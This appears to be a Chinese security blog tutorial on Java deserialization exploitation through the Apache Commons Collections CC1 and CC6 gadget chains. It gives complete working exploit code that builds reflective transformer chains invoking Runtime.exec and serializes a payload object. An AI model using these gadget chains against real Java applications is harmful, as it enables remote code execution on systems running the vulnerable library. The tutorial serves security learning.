前言 这个已经很久了,一直放在纸雀上,正好来水一篇博客 学java肯定是绕不过CC链的,当然如果刚接触应该是去看看dnslog的利用,这里就不展开 不过这里不会将过多的java语法(初学者也理解不深,不误人子弟了),只会讲一些反序列化的原理,以及一些利用的点 这里甩一张好图
浅谈理解 如果之前接触过php反序列化,那你应该会很好理解java反序列化的原理 java同php,都是将对象中的属性按照格式生成数据流,反序列化根据属性重建对象,但是无疑它是更灵活更复杂的,允许插入自定义数据,进而在反序列化时通过readobject进行读取 初学时,常以__wakeup与readobject对比 有人总结过,区别即,readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题 即是这个小小差异,造就了java诞生了形形色色的反序列化漏洞 打php链子的时候,我们需要找入口魔术方法__destruct或者__wakeup,需要找到RCE的结尾处 设法搭一条中间链子 而java中,反序列化的入口是readObject方法 当我们调用readObject方法时,会触发反序列化,而反序列化时,会调用readObject方法,从而触发链子
CC1 common-collections是什么 Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库 而这个库里,已经被挖出来了很多条链子,今天讲的是早期的链子,为什么是早期,因为java相对高版本之后,改变了一个关键入口类,CC1链就打不了了
CC1链原理 讲链子之前,先标记下几个类,以及命令执行的核心
InvokerTransformer
ChainedTransformer
TransformedMap
AnnotationInvocationHandler
ConstantTransformer
核心是什么?我们看看InvokerTransformer这个类的transformer方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } } }
重点看
1 2 3 Class cls = input.getClass();Method method = cls.getMethod(this .iMethodName, this .iParamTypes);return method.invoke(input, this .iArgs);
如果了解反射的同学可以理解,这三行其实就是实现了反射调用任意类的任意方法 但是这几个参数如何控制呢? 我们再看看这个类的构造函数
1 2 3 4 5 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; }
可以理解的是,我们构造这个类的对象,传入的参数就是我们要调用的方法,参数类型,参数值 然后在调用transformer方法的时候,传入的参数是可命令执行的类,比如Runtime.getRuntime().exec(“calc”) 我们简单写个demo
1 2 3 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });invokerTransformer.transform(r);
这样就可以弹计算器了 但是明确几个点
1 2 首先,能够写出链子即是可以序列化,里面的类必须是可序列化的 其次,我们搭链子的整个过程中,只能从readobject入口进去,反序列化后执行方法,像invokerTransformer.transform(r)这样的调用,只是我们简单测试一下
现在这种情况下寻找哪里调用了transform方法呢? 我们在IDEA里点击整个transform方法,然后点击查找用法即可 这边还要明确一下,很多类里都实现了transform方法
1 2 3 4 5 6 如果某个接口或抽象类定义了 transformer() 方法,那么所有实现这个接口或继承这个抽象类的子类,都必须实现这个方法。 接口场景: public interface Transformer { Object transformer (Object input) ; } 所有实现 Transformer 的类都要写 transformer() 方法。
观察到,transformerMap这个类里面有好东西
1 2 3 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
这个类确实存在一个checkSetValue方法,可以调用this.valueTransformer的tarsnform方法,如何控制这个valueTransformer呢?
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
这是一个静态方法,可直接调用 成功控制
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
因此我们把直接调用trasnform方法进一步变成了
1 2 3 4 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null ,invokerTransformer);
那么如何调用这个protestes,即checkSetValue方法呢?
1 2 3 4 5 6 7 8 Java protected 访问权限规则: 同一个包内可以访问 子类可以访问父类的 protected 方法,即使子类在不同包 访问方式: this .checkSetValue() → 调用自己继承的父类方法super .checkSetValue() → 明确调用父类方法parent.checkSetValue() → 前提是 parent 类型是父类或其子类 所以如果 parent 的类型是父类或父类的子类,protected 方法就可以被调用。
可以这样
1 2 3 4 5 6 7 8 9 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });HashMap<Object,Object> map=new HashMap <>(); map.put("sheep" ,"sheep" ); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:transformedmap.entrySet()) { entry.setValue(r); }
成功弹出计算器 这边解释的话比较复杂(如果没学过java开发的话),而且它也不是我们的核心,只是为了说明一下,为什么要这样调用 这个entry是抽象类AbstractInputCheckedMapDecorator 里面存在setValue方法 具体实现
1 2 3 4 public Object setValue (Object value) { value = this .parent.checkSetValue(value); return this .entry.setValue(value); }
这个parent就是TransformedMap,这里实现了对checkSetValue的调用,进而触发链子 毕竟我们要把链子走到readobject,现在还是很欠缺,哪里可以实现类似上面的调用呢?
AnnotationInvocationHandler类 为什么选择这个类?因为它在它的readobject方法里面实现了上面那一步 即调用了setValue这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
到此为止,CC1的链子通了,但是这之间,还有形形色色的问题,这才正式开始CC1链的分析
我们能看到,其实具体的实现想要一步到位,在真正搭链子里面是很难的,为什么这样说呢?我们之前写的demo可以看到,我们给setValue传入了一个r,它是Runtime类的对象 进而在transform方法里,获得了这个对象的exec方法并进行传参 但是但我们选用AnnotationInvocationHandler类的时候,这个setvalue的参数就没那么好控制了,会很麻烦,这里我们引入了两个类
1 2 ConstantTransformer ChainedTransformer
第一个类的实现是
1 2 3 4 5 6 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
就是ConstantTransformer设置一个返回值,而 transform 方法每次调用时都返回这个值 作为一个包装类,现在可能看不出来它的作用,我们还得讲另一个
1 2 3 4 5 6 7 8 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); }
很完美,一个transform可以实现多个transform方法的调用,将前一个的输出作为后一个的参数,这样就解决了我们InvokerTrasnformer的执行问题
组合使用 1 2 3 4 5 6 7 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers);
理论上就可以拿到返回的Runtime对象,进而调用exec方法?真的是这样吗?
问题二:Runtime.getRuntime的不可序列化 很遗憾,Runtime类并没有实现Serializable接口,因此是不可序列化的,这样直接返回,编译器会报错,如何解决呢? 因此我们不能直接使用Runtime类,而是通过反射获取当前的Runtime对象 代码如下
1 2 3 Method f = Runtime.class.getMethod("getRuntime" );Runtime r = (Runtime) f.invoke(null );r.exec("calc" );
如何在ChainedTransformer中使用呢? 我们可以这样写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), };
多个反射调用,成功执行calc
问题三:AnnotationInvocationHandler类的构造 一般来说我们直接import这个类? 很遗憾,这个类是sun的私有类,直接import会报错 我们可以通过反射获取这个类
1 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );
然后通过反射获取它的构造函数
1 2 javaConstructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true );
注意看这个构造函数的参数
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
第一个参数是Annotation类,第二个参数是一个map,就是我们利用TransformerMap.decorate生成的map对象 至于这个Annotation类,这里直接说明就是我们的Retention 因为牵扯到java注释相关技术,我们直接给出说明
1 2 3 1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
因此在此之前,还要put进一个value的键值对
exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers);Map innerMap = new HashMap ();innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
CC6 为什么直接学CC6? 其实在学CC1之后,CC6之前,最好衔接一个ysoserial的CC1链子,它在里面不是使用TransformerMap而是LazyMap,而进入LazyMap不再是调用checksetValue方法,而是调用get方法
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!this .map.containsKey(key)) { Object value = this .factory.transform(key); this .map.put(key, value); return value; } else { return this .map.get(key); } }
具体实现去看ysoserial的源码,调试它是如何从 AnnotationInvocationHandler的readobject进入,调用get方法的,具体涉及到如何劫持一个对象内部方法的调用,不细嗦 回归问题,为什么直接来学CC6呢? 高版本jdk修改了AnnotationInvocationHandler的readobject方法,不再直接 使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,直接断了相关的入口 那么我们得找到一个其他方法,可以调用到LazyMap的get方法
CC6链原理 关键类TiedMapEntry 前文说到我们需要找到一个关键类,作为入口类,这里介绍TiedMapEntry类 发现它的getValue方法调用了指定类的get方法
1 2 3 public V getValue () { return (V)this .map.get(this .key); }
谁又调用了getValue方法呢?
1 2 3 4 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
入口类HashMap 那么谁又调用它的hashCode方法呢?我们再把目光放到HashMap类上面 readobject下调用了hash方法,然后在hash里又调用了hashcode方法 至此实现了首位相接
防止运行时弹计算器 为了防止运行的时候弹计算器,我们可以现往ChainedTransformer里面添加一个faketransformers
1 2 3 Transformer[] faketarsnformers=new Transformer []{ new ConstantTransformer (1 ) };
然后在最后的时候,使用反射将faketransformers替换成真正的transformers
1 2 3 Field f = ChainedTransformer.class.getDeclaredField("iTransformers" );f.setAccessible(true ); f.set(transformerChain, transformers);
问题 当我们按要求写出如下EXP的时候,并不能弹计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), new ConstantTransformer (1 ), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap ();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry (outerMap, "keykey" );Map expMap = new HashMap ();expMap.put(tme, "valuevalue" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(expMap); oos.close(); return barr.toByteArray();
调试一下发现到最后
1 2 3 4 5 6 7 8 9 public V get (Object key) { if (!this .map.containsKey(key)) { V value = (V)this .factory.transform(key); this .map.put(key, value); return value; } else { return (V)this .map.get(key); } }
什么时候this.map.containsKey(key)?这个key是”keykey” 可是我们并没有给LazyMap赋值 注意一下
1 2 Map expMap = new HashMap ();expMap.put(tme, "valuevalue" );
调用的这个put方法会直接hash->调用tme的hashcode,我的意思是,在构建payload之前就已经进入了LazyMap的get方法 这个时候自然是不含有的,那么进入
1 2 3 4 5 6 7 if (!this .map.containsKey(key)) { V value = (V)this .factory.transform(key); this .map.put(key, value); return value; } else { return (V)this .map.get(key); }
this.map.put(key, value)
赋值之后等反序列化启动时自然就else了() 因此remove掉即可 在expMap.put(tme, "valuevalue");
下增添一行outerMap.remove("keykey");
ok,成功弹计算器 最后的payload如上就行,这个分析也就结束了
结语 CC链的学习只是java安全学习的冰山一角,但是它的原理是非常重要的,也是非常基础的,掌握了它,对于后续的学习来说,是非常有帮助的,希望大家都能成为java大牛~ 尽早突破心魔,做出自己的第一道java题()